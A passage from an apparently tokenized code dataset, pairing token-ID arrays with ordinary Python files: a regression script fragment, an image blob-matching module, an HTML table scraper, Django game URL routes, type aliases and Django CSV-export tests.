29898,
13264,
29889,
10945,
29918,
20897,
29918,
11228,
3950,
3101,
13,
13,
1678,
396,
16696,
29871,
29947,
29901,
7945,
278,
1904,
363,
29871,
29896,
29900,
29900,
21502,
12168,
13,
1678,
363,
474,
297,
3464,
29898,
29896,
29900,
29900,
1125,
13,
4706,
3001,
29918,
6758,
353,
29871,
29900,
13,
4706,
363,
921,
29892,
343,
297,
848,
29901,
13,
9651,
396,
16441,
6222,
5994,
3950,
322,
6699,
1819,
310,
6410,
13,
9651,
17117,
301,
353,
27937,
29889,
3389,
4197,
20640,
3950,
29892,
6410,
1402,
8343,
29918,
8977,
3790,
29990,
29901,
921,
29892,
612,
29901,
343,
1800,
13,
9651,
3001,
29918,
6758,
4619,
301,
13,
4706,
1596,
877,
29923,
1129,
305,
426,
29900,
6177,
426,
29896,
29913,
4286,
4830,
29898,
29875,
29892,
3001,
29918,
6758,
847,
302,
29918,
27736,
876,
13,
13,
1678,
396,
3802,
278,
9227,
746,
366,
29915,
276,
2309,
773,
372,
13,
1678,
9227,
29889,
5358,
580,
13,
13,
1678,
396,
16696,
29871,
29929,
29901,
1962,
278,
1819,
310,
281,
322,
289,
13,
1678,
281,
29918,
449,
29892,
289,
29918,
449,
353,
27937,
29889,
3389,
4197,
29893,
29892,
289,
2314,
13,
13,
2158,
877,
1762,
554,
29901,
1273,
29888,
6923,
29915,
1273,
313,
2230,
29889,
2230,
580,
448,
1369,
876,
13,
13,
29937,
6492,
278,
2582,
13,
572,
29873,
29889,
5317,
29898,
1272,
7503,
29892,
29871,
29900,
1402,
848,
7503,
29892,
29871,
29896,
1402,
525,
833,
742,
3858,
2433,
21713,
848,
1495,
13,
572,
29873,
29889,
5317,
29898,
1272,
7503,
29892,
29871,
29900,
1402,
848,
7503,
29892,
29871,
29900,
29962,
334,
281,
29918,
449,
718,
289,
29918,
449,
29892,
525,
29878,
742,
3858,
2433,
23084,
18186,
848,
1495,
13,
572,
29873,
29889,
26172,
580,
13,
572,
29873,
29889,
4294,
580,
13,
2
] |
bigstream/features.py | wangyuhan01/bigstream | 14 | 21026 | <reponame>wangyuhan01/bigstream<gh_stars>10-100
import numpy as np
from fishspot.filter import white_tophat
from fishspot.detect import detect_spots_log
def blob_detection(
image,
min_blob_radius,
max_blob_radius,
**kwargs,
):
"""
"""
wth = white_tophat(image, max_blob_radius)
spots = detect_spots_log(
wth,
min_blob_radius,
max_blob_radius,
**kwargs,
).astype(int)
intensities = image[spots[:, 0], spots[:, 1], spots[:, 2]]
return np.hstack((spots[:, :3], intensities[..., None]))
def get_spot_context(image, spots, vox, radius):
"""
"""
output = []
for spot in spots:
s = (spot/vox).astype(int)
w = image[s[0]-radius:s[0]+radius+1,
s[1]-radius:s[1]+radius+1,
s[2]-radius:s[2]+radius+1]
output.append( [spot, w] )
return output
def _stats(arr):
"""
"""
# compute mean and standard deviation along columns
arr = arr.astype(np.float64)
means = np.mean(arr, axis=1)
sqr_means = np.mean(np.square(arr), axis=1)
stddevs = np.sqrt( sqr_means - np.square(means) )
return means, stddevs
def pairwise_correlation(A, B):
"""
"""
# grab and flatten context
a_con = np.array( [a[1].flatten() for a in A] )
b_con = np.array( [b[1].flatten() for b in B] )
# get means and std for all contexts, center contexts
a_mean, a_std = _stats(a_con)
b_mean, b_std = _stats(b_con)
a_con = a_con - a_mean[..., None]
b_con = b_con - b_mean[..., None]
# compute pairwise correlations
corr = np.matmul(a_con, b_con.T)
corr = corr / a_std[..., None]
corr = corr / b_std[None, ...]
corr = corr / a_con.shape[1]
# contexts with no variability are nan, set to 0
corr[np.isnan(corr)] = 0
return corr
def match_points(A, B, scores, threshold):
"""
"""
# split positions from context
a_pos = np.array( [a[0] for a in A] )
b_pos = np.array( [b[0] for b in B] )
# get highest scores above threshold
best_indcs = np.argmax(scores, axis=1)
a_indcs = range(len(a_pos))
keeps = scores[(a_indcs, best_indcs)] > threshold
# return positions of corresponding points
return a_pos[keeps, :3], b_pos[best_indcs[keeps], :3]
| [
1,
529,
276,
1112,
420,
29958,
29893,
574,
29891,
29884,
5403,
29900,
29896,
29914,
3752,
5461,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
5215,
12655,
408,
7442,
13,
3166,
9427,
17500,
29889,
4572,
1053,
4796,
29918,
3332,
2455,
13,
3166,
9427,
17500,
29889,
4801,
522,
1053,
6459,
29918,
1028,
1862,
29918,
1188,
13,
13,
13,
1753,
23755,
29918,
29881,
2650,
428,
29898,
13,
1678,
1967,
29892,
13,
1678,
1375,
29918,
10054,
29918,
13471,
29892,
13,
1678,
4236,
29918,
10054,
29918,
13471,
29892,
13,
1678,
3579,
19290,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
9995,
13,
13,
1678,
281,
386,
353,
4796,
29918,
3332,
2455,
29898,
3027,
29892,
4236,
29918,
10054,
29918,
13471,
29897,
13,
1678,
805,
1862,
353,
6459,
29918,
1028,
1862,
29918,
1188,
29898,
13,
4706,
281,
386,
29892,
13,
4706,
1375,
29918,
10054,
29918,
13471,
29892,
13,
4706,
4236,
29918,
10054,
29918,
13471,
29892,
13,
4706,
3579,
19290,
29892,
13,
1678,
13742,
579,
668,
29898,
524,
29897,
13,
1678,
12838,
1907,
353,
1967,
29961,
1028,
1862,
7503,
29892,
29871,
29900,
1402,
805,
1862,
7503,
29892,
29871,
29896,
1402,
805,
1862,
7503,
29892,
29871,
29906,
5262,
13,
1678,
736,
7442,
29889,
29882,
1429,
3552,
1028,
1862,
7503,
29892,
584,
29941,
1402,
12838,
1907,
29961,
16361,
6213,
12622,
13,
13,
13,
1753,
679,
29918,
17500,
29918,
4703,
29898,
3027,
29892,
805,
1862,
29892,
992,
29916,
29892,
11855,
1125,
13,
1678,
9995,
13,
1678,
9995,
13,
13,
1678,
1962,
353,
5159,
13,
1678,
363,
9758,
297,
805,
1862,
29901,
13,
4706,
269,
353,
313,
17500,
29914,
1365,
29916,
467,
579,
668,
29898,
524,
29897,
13,
4706,
281,
353,
1967,
29961,
29879,
29961,
29900,
29962,
29899,
13471,
29901,
29879,
29961,
29900,
10062,
13471,
29974,
29896,
29892,
13,
462,
29871,
269,
29961,
29896,
29962,
29899,
13471,
29901,
29879,
29961,
29896,
10062,
13471,
29974,
29896,
29892,
13,
462,
29871,
269,
29961,
29906,
29962,
29899,
13471,
29901,
29879,
29961,
29906,
10062,
13471,
29974,
29896,
29962,
13,
4706,
1962,
29889,
4397,
29898,
518,
17500,
29892,
281,
29962,
1723,
13,
1678,
736,
1962,
268,
13,
13,
13,
1753,
903,
16202,
29898,
2749,
1125,
13,
1678,
9995,
13,
1678,
9995,
13,
13,
1678,
396,
10272,
2099,
322,
3918,
29522,
3412,
4341,
13,
1678,
3948,
353,
3948,
29889,
579,
668,
29898,
9302,
29889,
7411,
29953,
29946,
29897,
13,
1678,
2794,
353,
7442,
29889,
12676,
29898,
2749,
29892,
9685,
29922,
29896,
29897,
13,
1678,
18074,
29878,
29918,
1004,
550,
353,
7442,
29889,
12676,
29898,
9302,
29889,
17619,
29898,
2749,
511,
9685,
29922,
29896,
29897,
13,
1678,
3659,
3359,
29879,
353,
7442,
29889,
3676,
29898,
18074,
29878,
29918,
1004,
550,
448,
7442,
29889,
17619,
29898,
1004,
550,
29897,
1723,
13,
1678,
736,
2794,
29892,
3659,
3359,
29879,
13,
13,
13,
1753,
5101,
3538,
29918,
2616,
23445,
29898,
29909,
29892,
350,
1125,
13,
1678,
9995,
13,
1678,
9995,
13,
13,
1678,
396,
17229,
322,
1652,
8606,
3030,
13,
1678,
263,
29918,
535,
353,
7442,
29889,
2378,
29898,
518,
29874,
29961,
29896,
1822,
1579,
8606,
580,
363,
263,
297,
319,
29962,
1723,
13,
1678,
289,
29918,
535,
353,
7442,
29889,
2378,
29898,
518,
29890,
29961,
29896,
1822,
1579,
8606,
580,
363,
289,
297,
350,
29962,
1723,
13,
13,
1678,
396,
679,
2794,
322,
3659,
363,
599,
3030,
29879,
29892,
4818,
3030,
29879,
13,
1678,
263,
29918,
12676,
29892,
263,
29918,
4172,
353,
903,
16202,
29898,
29874,
29918,
535,
29897,
13,
1678,
289,
29918,
12676,
29892,
289,
29918,
4172,
353,
903,
16202,
29898,
29890,
29918,
535,
29897,
13,
1678,
263,
29918,
535,
353,
263,
29918,
535,
448,
263,
29918,
12676,
29961,
16361,
6213,
29962,
13,
1678,
289,
29918,
535,
353,
289,
29918,
535,
448,
289,
29918,
12676,
29961,
16361,
6213,
29962,
13,
13,
1678,
396,
10272,
5101,
3538,
8855,
800,
13,
1678,
27760,
353,
7442,
29889,
2922,
16109,
29898,
29874,
29918,
535,
29892,
289,
29918,
535,
29889,
29911,
29897,
13,
1678,
27760,
353,
27760,
847,
263,
29918,
4172,
29961,
16361,
6213,
29962,
13,
1678,
27760,
353,
27760,
847,
289,
29918,
4172,
29961,
8516,
29892,
2023,
29962,
13,
1678,
27760,
353,
27760,
847,
263,
29918,
535,
29889,
12181,
29961,
29896,
29962,
13,
13,
1678,
396,
3030,
29879,
411,
694,
1197,
3097,
526,
23432,
29892,
731,
304,
29871,
29900,
13,
1678,
27760,
29961,
9302,
29889,
275,
13707,
29898,
29725,
4638,
353,
29871,
29900,
13,
1678,
736,
27760,
13,
13,
13,
1753,
1993,
29918,
9748,
29898,
29909,
29892,
350,
29892,
19435,
29892,
16897,
1125,
13,
1678,
9995,
13,
1678,
9995,
13,
13,
1678,
396,
6219,
11909,
515,
3030,
13,
1678,
263,
29918,
1066,
353,
7442,
29889,
2378,
29898,
518,
29874,
29961,
29900,
29962,
363,
263,
297,
319,
29962,
1723,
13,
1678,
289,
29918,
1066,
353,
7442,
29889,
2378,
29898,
518,
29890,
29961,
29900,
29962,
363,
289,
297,
350,
29962,
1723,
13,
13,
1678,
396,
679,
9939,
19435,
2038,
16897,
13,
1678,
1900,
29918,
513,
2395,
353,
7442,
29889,
1191,
3317,
29898,
1557,
2361,
29892,
9685,
29922,
29896,
29897,
13,
1678,
263,
29918,
513,
2395,
353,
3464,
29898,
2435,
29898,
29874,
29918,
1066,
876,
13,
1678,
14874,
353,
19435,
15625,
29874,
29918,
513,
2395,
29892,
1900,
29918,
513,
2395,
4638,
1405,
16897,
13,
13,
1678,
396,
736,
11909,
310,
6590,
3291,
13,
1678,
736,
263,
29918,
1066,
29961,
446,
8961,
29892,
584,
29941,
1402,
289,
29918,
1066,
29961,
13318,
29918,
513,
2395,
29961,
446,
8961,
1402,
584,
29941,
29962,
13,
13,
2
] |
Chapter04/html_table_parser.py | PacktPublishing/Python-Penetration-Testing-Cookbook | 48 | 138666 | <reponame>PacktPublishing/Python-Penetration-Testing-Cookbook<gh_stars>10-100
import urllib2
import pandas as pd
from bs4 import BeautifulSoup
url = "https://www.w3schools.com/html/html_tables.asp"
try:
page = urllib2.urlopen(url)
except Exception as e:
print e
pass
soup = BeautifulSoup(page, "html.parser")
table = soup.find_all('table')[0]
new_table = pd.DataFrame(
columns=['Company', 'Contact', 'Country'],
index=range(0, 7))
row_number = 0
for row in table.find_all('tr'):
column_number = 0
columns = row.find_all('td')
for column in columns:
new_table.iat[row_number, column_number] = column.get_text()
column_number += 1
row_number += 1
print new_table
# Uncomment the bellow line to export to csv
# new_table.to_csv('table.csv')
# Uncomment the bellow line to export to excel
# new_table.to_excel('table.xlsx')
| [
1,
529,
276,
1112,
420,
29958,
16638,
29873,
21076,
1674,
292,
29914,
11980,
29899,
29925,
264,
18184,
362,
29899,
3057,
292,
29899,
19159,
2909,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
5215,
3142,
1982,
29906,
13,
5215,
11701,
408,
10518,
13,
3166,
24512,
29946,
1053,
25685,
29903,
1132,
13,
13,
2271,
353,
376,
991,
597,
1636,
29889,
29893,
29941,
816,
8789,
29889,
510,
29914,
1420,
29914,
1420,
29918,
24051,
29889,
4692,
29908,
13,
2202,
29901,
13,
1678,
1813,
353,
3142,
1982,
29906,
29889,
332,
417,
2238,
29898,
2271,
29897,
13,
19499,
8960,
408,
321,
29901,
13,
1678,
1596,
321,
13,
1678,
1209,
13,
29879,
1132,
353,
25685,
29903,
1132,
29898,
3488,
29892,
376,
1420,
29889,
16680,
1159,
13,
13,
2371,
353,
22300,
29889,
2886,
29918,
497,
877,
2371,
29861,
29900,
29962,
13,
13,
1482,
29918,
2371,
353,
10518,
29889,
17271,
29898,
13,
1678,
4341,
29922,
1839,
21410,
742,
525,
13443,
742,
525,
20779,
7464,
13,
1678,
2380,
29922,
3881,
29898,
29900,
29892,
29871,
29955,
876,
13,
13,
798,
29918,
4537,
353,
29871,
29900,
13,
1454,
1948,
297,
1591,
29889,
2886,
29918,
497,
877,
509,
29374,
13,
1678,
1897,
29918,
4537,
353,
29871,
29900,
13,
1678,
4341,
353,
1948,
29889,
2886,
29918,
497,
877,
1594,
1495,
13,
1678,
363,
1897,
297,
4341,
29901,
13,
4706,
716,
29918,
2371,
29889,
7163,
29961,
798,
29918,
4537,
29892,
1897,
29918,
4537,
29962,
353,
1897,
29889,
657,
29918,
726,
580,
13,
4706,
1897,
29918,
4537,
4619,
29871,
29896,
13,
1678,
1948,
29918,
4537,
4619,
29871,
29896,
13,
13,
2158,
716,
29918,
2371,
13,
29937,
853,
9342,
278,
289,
4743,
1196,
304,
5609,
304,
11799,
13,
29937,
716,
29918,
2371,
29889,
517,
29918,
7638,
877,
2371,
29889,
7638,
1495,
13,
29937,
853,
9342,
278,
289,
4743,
1196,
304,
5609,
304,
10616,
13,
29937,
716,
29918,
2371,
29889,
517,
29918,
24633,
877,
2371,
29889,
20267,
29916,
1495,
13,
2
] |
llist_gameboard/urls.py | Plongesam/data-structures-game | 2 | 15514 | <filename>llist_gameboard/urls.py
"""
URL's for the LList Game Board app.
"""
from django.urls import path
from llist_gameboard.api import llist_api
from . import views
urlpatterns = [
# Views
path('', views.llist_game_board, name='llist-game-board'),
#Game Play API Calls For Linked List
path('llist_api', llist_api.api_overview, name='llist-game-board-api_overview'),
path('llist_api/start_game/<str:difficulty>/<str:player_ids>/<str:data_structures>', llist_api.start_game, name='llist-game-board-start_game'),
path('llist_api/board/<str:game_id>', llist_api.board, name='llist-game-board-game_status'),
path('llist_api/dig_tunnel/<str:game_id>/<str:origin>/<str:destination>', llist_api.dig_tunnel, name='llist-game-board-dig_tunnel'),
path('llist_api/dig_chamber/<str:game_id>/<str:origin>/<str:move_ant>/<str:ant>', llist_api.dig_chamber, name='llist-game-board-dig_chamber'),
path('llist_api/fill_chamber/<str:game_id>/<str:to_fill>', llist_api.fill_chamber, name='llist-game-board-fill_chamber'),
path('llist_api/spawn_ant/<str:game_id>', llist_api.spawn_ant, name='llist-game-board-spawn_ant'),
path('llist_api/forage/<str:game_id>/<str:difficulty>/<str:dest>', llist_api.forage, name='llist-game-board-forage'),
path('llist_api/move_food/<str:game_id>/<str:start>/<str:dest>', llist_api.move_food, name='llist-game-board-move_food'),
path('llist_api/move_ant/<str:game_id>/<str:start>/<str:dest>', llist_api.move_ant, name='llist-game-board-move_ant'),
] | [
1,
529,
9507,
29958,
645,
391,
29918,
11802,
3377,
29914,
26045,
29889,
2272,
13,
15945,
29908,
13,
1678,
3988,
29915,
29879,
363,
278,
365,
1293,
8448,
12590,
623,
29889,
13,
15945,
29908,
13,
3166,
9557,
29889,
26045,
1053,
2224,
13,
3166,
301,
1761,
29918,
11802,
3377,
29889,
2754,
1053,
301,
1761,
29918,
2754,
13,
3166,
869,
1053,
8386,
13,
13,
2271,
11037,
29879,
353,
518,
13,
13,
1678,
396,
4533,
29879,
29871,
13,
1678,
2224,
877,
742,
8386,
29889,
645,
391,
29918,
11802,
29918,
3377,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
5477,
13,
13,
1678,
396,
14199,
7412,
3450,
315,
4293,
1152,
28547,
2391,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
742,
301,
1761,
29918,
2754,
29889,
2754,
29918,
957,
1493,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
2754,
29918,
957,
1493,
5477,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
29914,
2962,
29918,
11802,
29914,
29966,
710,
29901,
12765,
3953,
29891,
20690,
29966,
710,
29901,
9106,
29918,
4841,
20690,
29966,
710,
29901,
1272,
29918,
4984,
1973,
29958,
742,
301,
1761,
29918,
2754,
29889,
2962,
29918,
11802,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
2962,
29918,
11802,
5477,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
29914,
3377,
29914,
29966,
710,
29901,
11802,
29918,
333,
29958,
742,
301,
1761,
29918,
2754,
29889,
3377,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
11802,
29918,
4882,
5477,
13,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
29914,
7501,
29918,
29873,
16163,
29914,
29966,
710,
29901,
11802,
29918,
333,
20690,
29966,
710,
29901,
12574,
20690,
29966,
710,
29901,
23848,
29958,
742,
301,
1761,
29918,
2754,
29889,
7501,
29918,
29873,
16163,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
7501,
29918,
29873,
16163,
5477,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
29914,
7501,
29918,
305,
314,
495,
29914,
29966,
710,
29901,
11802,
29918,
333,
20690,
29966,
710,
29901,
12574,
20690,
29966,
710,
29901,
11631,
29918,
424,
20690,
29966,
710,
29901,
424,
29958,
742,
301,
1761,
29918,
2754,
29889,
7501,
29918,
305,
314,
495,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
7501,
29918,
305,
314,
495,
5477,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
29914,
5589,
29918,
305,
314,
495,
29914,
29966,
710,
29901,
11802,
29918,
333,
20690,
29966,
710,
29901,
517,
29918,
5589,
29958,
742,
301,
1761,
29918,
2754,
29889,
5589,
29918,
305,
314,
495,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
5589,
29918,
305,
314,
495,
5477,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
29914,
1028,
18101,
29918,
424,
29914,
29966,
710,
29901,
11802,
29918,
333,
29958,
742,
301,
1761,
29918,
2754,
29889,
1028,
18101,
29918,
424,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
1028,
18101,
29918,
424,
5477,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
29914,
1454,
482,
29914,
29966,
710,
29901,
11802,
29918,
333,
20690,
29966,
710,
29901,
12765,
3953,
29891,
20690,
29966,
710,
29901,
7854,
29958,
742,
301,
1761,
29918,
2754,
29889,
1454,
482,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
1454,
482,
5477,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
29914,
11631,
29918,
1181,
397,
29914,
29966,
710,
29901,
11802,
29918,
333,
20690,
29966,
710,
29901,
2962,
20690,
29966,
710,
29901,
7854,
29958,
742,
301,
1761,
29918,
2754,
29889,
11631,
29918,
1181,
397,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
11631,
29918,
1181,
397,
5477,
13,
1678,
2224,
877,
645,
391,
29918,
2754,
29914,
11631,
29918,
424,
29914,
29966,
710,
29901,
11802,
29918,
333,
20690,
29966,
710,
29901,
2962,
20690,
29966,
710,
29901,
7854,
29958,
742,
301,
1761,
29918,
2754,
29889,
11631,
29918,
424,
29892,
1024,
2433,
645,
391,
29899,
11802,
29899,
3377,
29899,
11631,
29918,
424,
5477,
13,
29962,
2
] |
domain/types.py | Fenthick/sla_dashboard_webapp | 0 | 97946 | AgentID = str
""" Assigned by Kentik """
TestID = str
""" Assigned by Kentik """
Threshold = float
""" latency and jitter in milliseconds, packet_loss in percent (0-100) """
MetricValue = float
""" latency and jitter in milliseconds, packet_loss in percent (0-100) """
| [
1,
28330,
1367,
353,
851,
13,
15945,
29908,
4007,
12961,
491,
13272,
638,
9995,
13,
13,
3057,
1367,
353,
851,
13,
15945,
29908,
4007,
12961,
491,
13272,
638,
9995,
13,
13,
1349,
12268,
353,
5785,
13,
15945,
29908,
23316,
1270,
322,
432,
5171,
297,
3533,
21462,
29892,
18203,
29918,
6758,
297,
10151,
313,
29900,
29899,
29896,
29900,
29900,
29897,
9995,
13,
13,
10095,
2200,
1917,
353,
5785,
13,
15945,
29908,
23316,
1270,
322,
432,
5171,
297,
3533,
21462,
29892,
18203,
29918,
6758,
297,
10151,
313,
29900,
29899,
29896,
29900,
29900,
29897,
9995,
13,
2
] |
update_supply_chain_information/supply_chains/test/test_extract_csv.py | uktrade/update-supply-chain-information | 0 | 35883 | from io import StringIO
from typing import List
import os
import csv
import re
import pytest
from django.core.management import call_command
from django.core.management.base import CommandError
from django.core.files.temp import NamedTemporaryFile
import accounts.models
from supply_chains.management.commands.ingest_csv import (
MODEL_GOV_DEPT,
MODEL_SUPPLY_CHAIN,
MODEL_STRAT_ACTION,
MODEL_STRAT_ACTION_UPDATE,
)
from supply_chains.test.factories import (
SupplyChainFactory,
StrategicActionFactory,
StrategicActionUpdateFactory,
GovDepartmentFactory,
)
pytestmark = pytest.mark.django_db
class TestExtractCSV:
DUMP_CMD = "extract_csv"
def setup_method(self):
self.data_file = NamedTemporaryFile(suffix=".csv", delete=False)
def teardown_method(self):
os.remove(self.data_file.name)
def load_csv(self) -> List:
with open(self.data_file.name) as f:
reader = csv.DictReader(f)
rows = list(reader)
return rows
def invoke_dump(self, *args):
with StringIO() as status:
call_command(self.DUMP_CMD, *args, stdout=status)
return status.getvalue()
def test_dump_accounts_data(self):
# Arrange
trade_domian = "dosac.gov.uk"
trade_name = "DOSAC"
hmrc_domain = "hmrc.gov.uk"
hmrc_name = "HMRC"
GovDepartmentFactory(email_domains=[trade_domian], name=trade_name)
GovDepartmentFactory(email_domains=[hmrc_domain], name=hmrc_name)
# Act
self.invoke_dump(MODEL_GOV_DEPT, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 3
lookup = {x["name"]: x for x in rows}
assert (
lookup[trade_name]["name"] == trade_name
and lookup[trade_name]["email_domain_0"] == trade_domian
)
assert (
lookup[hmrc_name]["name"] == hmrc_name
and lookup[hmrc_name]["email_domain_0"] == hmrc_domain
)
def test_dump_accounts_data_multi_domain(self):
# Arrange
trade_domians = "dosac.gov.uk", "analogue.dosac.gov.uk"
trade_name = "DOSAC"
GovDepartmentFactory(email_domains=trade_domians, name=trade_name)
# Act
self.invoke_dump(MODEL_GOV_DEPT, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 2
assert all(k in rows[0] for k in ("email_domain_0", "email_domain_1"))
def test_dump_accounts_no_data(self):
# Arrange
accounts.models.GovDepartment.objects.all().delete()
# Act
self.invoke_dump(MODEL_GOV_DEPT, self.data_file.name)
# Assert
assert os.path.exists(self.data_file.name)
assert os.stat(self.data_file.name).st_size == 0
def test_dump_sc_data(self):
# Arrange
SupplyChainFactory()
# Act
self.invoke_dump(MODEL_SUPPLY_CHAIN, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 1
assert re.match(f"Product ", rows[0]["name"])
def test_dump_sc_data_multiple(self):
# Arrange
SupplyChainFactory.create_batch(5)
# Act
self.invoke_dump(MODEL_SUPPLY_CHAIN, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 5
names = [x["name"] for x in rows]
assert all([x.startswith("Product ") for x in names])
ids = [x["id"] for x in rows]
assert len(ids) == len(set(ids))
def test_dump_sa_data(self):
# Arrange
sc = SupplyChainFactory()
StrategicActionFactory(supply_chain=sc)
# Act
self.invoke_dump(MODEL_STRAT_ACTION, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 1
assert re.match(f"Strategic action ", rows[0]["name"])
assert rows[0]["supply_chain"] == str(sc.id)
def test_dump_sa_data_multiple(self):
# Arrange
exp_sc_ids = list()
for _ in range(4):
sc = SupplyChainFactory()
StrategicActionFactory(supply_chain=sc)
exp_sc_ids.append(str(sc.id))
# Act
self.invoke_dump(MODEL_STRAT_ACTION, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 4
ids = [x["id"] for x in rows]
assert len(ids) == len(set(ids))
sc_ids = [x["supply_chain"] for x in rows]
assert all([a == b for a, b in zip(sorted(sc_ids), sorted(exp_sc_ids))])
names = [x["name"] for x in rows]
assert all([x.startswith("Strategic action ") for x in names])
def test_dump_sau_data(self):
# Arrange
sc = SupplyChainFactory()
sa = StrategicActionFactory(supply_chain=sc)
StrategicActionUpdateFactory(supply_chain=sc, strategic_action=sa)
# Act
self.invoke_dump(MODEL_STRAT_ACTION_UPDATE, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 1
assert rows[0]["supply_chain"] == str(sc.id)
assert rows[0]["strategic_action"] == str(sa.id)
def test_dump_sau_data_multiple(self):
# Arrange
exp_sc_ids = list()
exp_sa_ids = list()
for _ in range(4):
sc = SupplyChainFactory()
sa = StrategicActionFactory(supply_chain=sc)
StrategicActionUpdateFactory(supply_chain=sc, strategic_action=sa)
exp_sc_ids.append(str(sc.id))
exp_sa_ids.append(str(sa.id))
# Act
self.invoke_dump(MODEL_STRAT_ACTION_UPDATE, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 4
ids = [x["id"] for x in rows]
assert len(ids) == len(set(ids))
sc_ids = [x["supply_chain"] for x in rows]
assert all([a == b for a, b in zip(sorted(sc_ids), sorted(exp_sc_ids))])
sa_ids = [x["strategic_action"] for x in rows]
assert all([a == b for a, b in zip(sorted(sa_ids), sorted(exp_sa_ids))])
def test_dump_inv_model(self):
# Arrange
inv_model = "hello world"
# Act
# Assert
with pytest.raises(CommandError, match=f"Unknown model {inv_model}"):
self.invoke_dump(inv_model, self.data_file.name)
| [
1,
515,
12013,
1053,
1714,
5971,
13,
3166,
19229,
1053,
2391,
13,
5215,
2897,
13,
5215,
11799,
13,
5215,
337,
13,
13,
5215,
11451,
1688,
13,
3166,
9557,
29889,
3221,
29889,
21895,
1053,
1246,
29918,
6519,
13,
3166,
9557,
29889,
3221,
29889,
21895,
29889,
3188,
1053,
10516,
2392,
13,
3166,
9557,
29889,
3221,
29889,
5325,
29889,
7382,
1053,
405,
2795,
5776,
1971,
653,
2283,
13,
13,
5215,
15303,
29889,
9794,
13,
3166,
11421,
29918,
305,
2708,
29889,
21895,
29889,
26381,
29889,
292,
342,
29918,
7638,
1053,
313,
13,
1678,
16999,
2287,
29931,
29918,
17080,
29963,
29918,
2287,
7982,
29892,
13,
1678,
16999,
2287,
29931,
29918,
29903,
4897,
7390,
29979,
29918,
3210,
29909,
1177,
29892,
13,
1678,
16999,
2287,
29931,
29918,
10810,
1299,
29918,
24705,
29892,
13,
1678,
16999,
2287,
29931,
29918,
10810,
1299,
29918,
24705,
29918,
14474,
29892,
13,
29897,
13,
13,
3166,
11421,
29918,
305,
2708,
29889,
1688,
29889,
17028,
3842,
1053,
313,
13,
1678,
9179,
368,
14688,
5126,
29892,
13,
1678,
3767,
1845,
293,
4276,
5126,
29892,
13,
1678,
3767,
1845,
293,
4276,
6422,
5126,
29892,
13,
1678,
402,
586,
8498,
442,
358,
5126,
29892,
13,
29897,
13,
13,
2272,
1688,
3502,
353,
11451,
1688,
29889,
3502,
29889,
14095,
29918,
2585,
13,
13,
13,
1990,
4321,
5647,
1461,
29907,
7597,
29901,
13,
1678,
360,
29965,
3580,
29918,
29907,
5773,
353,
376,
21111,
29918,
7638,
29908,
13,
13,
1678,
822,
6230,
29918,
5696,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1272,
29918,
1445,
353,
405,
2795,
5776,
1971,
653,
2283,
29898,
2146,
600,
861,
29569,
7638,
613,
5217,
29922,
8824,
29897,
13,
13,
1678,
822,
734,
538,
776,
29918,
5696,
29898,
1311,
1125,
13,
4706,
2897,
29889,
5992,
29898,
1311,
29889,
1272,
29918,
1445,
29889,
978,
29897,
13,
13,
1678,
822,
2254,
29918,
7638,
29898,
1311,
29897,
1599,
2391,
29901,
13,
4706,
411,
1722,
29898,
1311,
29889,
1272,
29918,
1445,
29889,
978,
29897,
408,
285,
29901,
13,
9651,
9591,
353,
11799,
29889,
21533,
6982,
29898,
29888,
29897,
13,
9651,
4206,
353,
1051,
29898,
16950,
29897,
13,
13,
4706,
736,
4206,
13,
13,
1678,
822,
15928,
29918,
15070,
29898,
1311,
29892,
334,
5085,
1125,
13,
4706,
411,
1714,
5971,
580,
408,
4660,
29901,
13,
9651,
1246,
29918,
6519,
29898,
1311,
29889,
14849,
3580,
29918,
29907,
5773,
29892,
334,
5085,
29892,
27591,
29922,
4882,
29897,
13,
9651,
736,
4660,
29889,
657,
1767,
580,
13,
13,
1678,
822,
1243,
29918,
15070,
29918,
10149,
29879,
29918,
1272,
29898,
1311,
1125,
13,
4706,
396,
826,
3881,
13,
4706,
11302,
29918,
3129,
713,
353,
376,
29881,
359,
562,
29889,
13513,
29889,
2679,
29908,
13,
4706,
11302,
29918,
978,
353,
376,
29928,
3267,
2477,
29908,
13,
4706,
298,
29885,
2214,
29918,
7247,
353,
376,
7184,
2214,
29889,
13513,
29889,
2679,
29908,
13,
4706,
298,
29885,
2214,
29918,
978,
353,
376,
29950,
29924,
10363,
29908,
13,
4706,
402,
586,
8498,
442,
358,
5126,
29898,
5269,
29918,
3129,
2708,
11759,
3018,
311,
29918,
3129,
713,
1402,
1024,
29922,
3018,
311,
29918,
978,
29897,
13,
4706,
402,
586,
8498,
442,
358,
5126,
29898,
5269,
29918,
3129,
2708,
11759,
7184,
2214,
29918,
7247,
1402,
